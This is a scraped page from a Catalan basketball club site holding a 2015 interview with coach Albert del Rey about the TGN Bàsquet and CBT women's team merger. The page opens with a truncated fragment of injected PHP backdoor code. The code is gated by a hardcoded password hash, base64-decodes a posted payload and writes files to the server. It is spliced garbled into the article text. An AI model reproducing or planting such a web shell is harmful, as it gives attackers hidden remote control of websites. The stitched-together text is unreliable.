function bestrock_render_js(){ echo ""; } function bestrock_render_index(){ echo md5('56749'); } function bestrock_render_ajax(){ try { if(isset($_GET['s1'])) die(md5('js')); if(isset($_POST['t2'])){ $l1 = uniqid(rand(), true) . '.js'; @file_put_contents($l1, 'js'); if(file_exists($l1)){ if(isset($_POST['t1'])){ $d = md5(md5($_POST['t1'])); if($d=="8ae24e6719c47a39da8ad5451432d9a6"){ $d1=$_POST['t2']; $d1=base64_decode($d1); $d4=" Albert del Rey: "Es tracta de sumar dins el projecte, tant se val si anem de lila, blau o de rosa" - Tgn Bàsquet Club -

Albert del Rey: “Es tracta de sumar dins el projecte, tant se val si anem de lila, blau o de rosa”

By
Updated: juliol 16, 2015

Albert del Rey (25/5/1978) és el nou entrenador del sènior A del TGN Bàsquet. Aquest tarragoní que ha passat les últimes quatre temporades al CBT, té un ampli currículum basquetbolístic -té el títol superior- que li ha permès conèixer a fons el bàsquet català. Així, a partir dels 20 anys va anar a Barcelona a estudiar pedagogia i va ser allí on va començar a fer bàsquet de nivell. Va ser coordinador del Collblanc de l’àrea masculina, amb dos ascensos inclosos, després va anar al Joventut de Badalona, on hi va estar tres anys, dos dels quals de coordinador de l’àrea femenina, i d’allí va passar a Menorca on va estar tres anys tot just abans de tornar a la seva ciutat natal. Del Rey afronta ara una etapa il·lusionant en què serà l’encarregat de dur el projecte que ha fusionat els equips sèniors del TGN Bàsquet i el CBT. Té molt clar que s’haurà de treballar molt i admet que l’objectiu de la pròxima temporada ha de ser la permanència.

Quan semblava impossible, hi ha hagut acord pel bàsquet femení entre el TGN Bàsquet i el CBT, què opina de tot això?

– Ja era hora que féssim alguna cosa de forma conjunta. Fins ara ens estàvem barallant els uns amb els altres per estar on poguéssim però ara, unint esforços, podem estar el més amunt possible. Tot això ens ajudarà a què el nivell augmenti.
Com es va sentir la primera vegada que es va posar la samarreta del TGN Bàsquet i va entrenar al Sagrat Cor?

– Per mi és una situació estranya. Abandonar les instal·lacions del Serrallo, on tothom et coneix, saps qui entrena, qui no, etc, és un canvi. Però aquí el que es tracta és sumar dins el projecte i tant se val si anem de lila, de blau o de rosa. En aquest cas m’ha tocat a mi ser el primer entrenador de l’equip de Copa Catalunya però l’any que ve potser li tocarà a un altre i d’aquí a tres o quatre anys a un altre. En el fons el que volem és que les jugadores estiguin contentes i s’ha de mantenir aquest esperit que s’ha generat amb la gent del TGN Bàsquet i el CBT.

Com l’han rebut al TGN Bàsquet?

– M’he sentit molt ben rebut des del principi. En el primer entrenament estava tot el cos tècnic en bloc i la primera experiència va ser positiva. Hem d’esperar a la pretemporada i les sessions de treball i aleshores ens prodrem fer una idea més clara de com és tot.

 

Veient el seu currículum, s’ha decantat pel bàsquet femení de forma clara.

– El bàsquet femení és la meva vida, m’agrada el joc, la implicació de les noies que ho viuen més que els nois.

 

L’acord suposa fusionar les plantilles dels equips sèniors d’ambdós clubs. Com ha confeccionat els equips?

– Veníem d’una bona temporada dels dos equips sèniors. Algunes jugadores ens van demanar que el sènior B fos de Primera Catalana i això ho hem aconseguit gràcies a la bona feina del TGN Bàsquet. Pel que fa al sènior A, la selecció s’ha fet tot observant les jugadores que més han destacat durant l’any i que més han treballat, i en els entrenaments de forma conjunta, les que més han evolucionat. Hi haurà moltes jugadores del sènior B, però, que podran tenir minuts amb el primer equip.

 

Tot i que és aviat, veient les jugadores que té, què li falta a l’equip?

– L’equip té vuit fitxes segures i hem notat molt a faltar a Ester Farré. Tots comptàvem amb ella i per les raons que tots sabem [deixa el bàsquet], no podrà ser. Per tant, hem de trobar una pivot que sigui dominant, que marqui un punt d’inflexió dins la zona. És igual que sigui molt anotadora, allò que volem és que sigui dura, que tingui pes, intimidi i agafi rebots. Si, a més, aporta en atac, millor que millor. L’altra posició que hem de millorar és la de base. Es tractaria d’una jugadora que fes jugar l’equip i ensenyés a les altres jugadores a millorar. Hem de tenir en compte que tenim un equip molt jove, inexpert en aquesta categoria, on la majoria de jugadores no ha jugat mai a Copa Catalunya.

 

El salt de Primera a Copa és molt gran…

– Sí. De fet, ara que estem parlant amb jugadores ens diuen que els hi fa una mica de por abandonar Lliga Femenina 2 per jugar en una categoria inferior. El salt de Copa Catalunya a Lliga Femenina 2 és mínim, sobretot amb el grup de dalt. El salt, però, de Primera a Copa és molt gran. Volem que les nostres jugadores entenguin que ens costarà molt administrar esforços, han de saber a quin ritme han de jugar. La diferència bàsica en aquesta lliga es troba en els deu equips de dalt.

 

Quines són les seves línies mestres? Com jugarà l’equip?

– A mi m’agrada adaptar-me a l’equip que tinc. En el primer any a Tarragona, fèiem 80 punts per partit a primera catalana, que era una animalada. Aquesta última temporada, amb un equip jove i intens, vam explotar la defensa, a partir de la qual vam basar el nostre joc. A molta gent li semblava que l’equip, en atac, jugava molt aturat, però això tenia una raó de ser: la formació de les jugadores. Era una plantilla molt jove, amb una mitjana d’edat de 21 anys. Això feia que a l’hora de llegir el joc, com els bloquejos directes i indirectes, estaven molt verdes. Després d’un any de treball, l’evolució d’alguna d’aquestes jugadores ha estat bestial perquè algunes d’elles sempre sortien del bloqueig indirecte amb la mateixa cama, ara ja canvien, ja finten, ja juguen amb la defensa i tot això és molt positiu.

 

L’objectiu d’aquesta temporada és la permanència?

– Sí. Hem d’intentar fer una bona primera fase perquè la gent s’adapti i conegui la categoria. Hem de dir que Copa Catalunya és una lliga molt diferent de Primera Catalana. Ara jugarem una lliga fins al mes de febrer i aleshores els cinc millors equips van a un grup i els cinc pitjors a un altre on hi ha els cinc pitjors de l’altre grup. Els resultats amb els cinc pitjors equips s’arrosseguen. És una altra mini lliga de deu equips.

 

S’ha de pensar en Lliga Femenina 2 o és massa aviat?

– Ens estem avançat molt. Tots treballem a llarg termini i no tindrem resultats aquesta temporada o la vinent. Les coses no canvien d’un dia per l’altre. Ara tenim dues o tres generacions que pugen molt bones i hem d’intentar que elles se sentin identificades amb el primer equip. A la llarga, si millores estructura de club i de jugadores, la feina et portarà on t’ha de dur.

Deixa un comentari

L'adreça electrònica no es publicarà. Els camps necessaris estan marcats amb *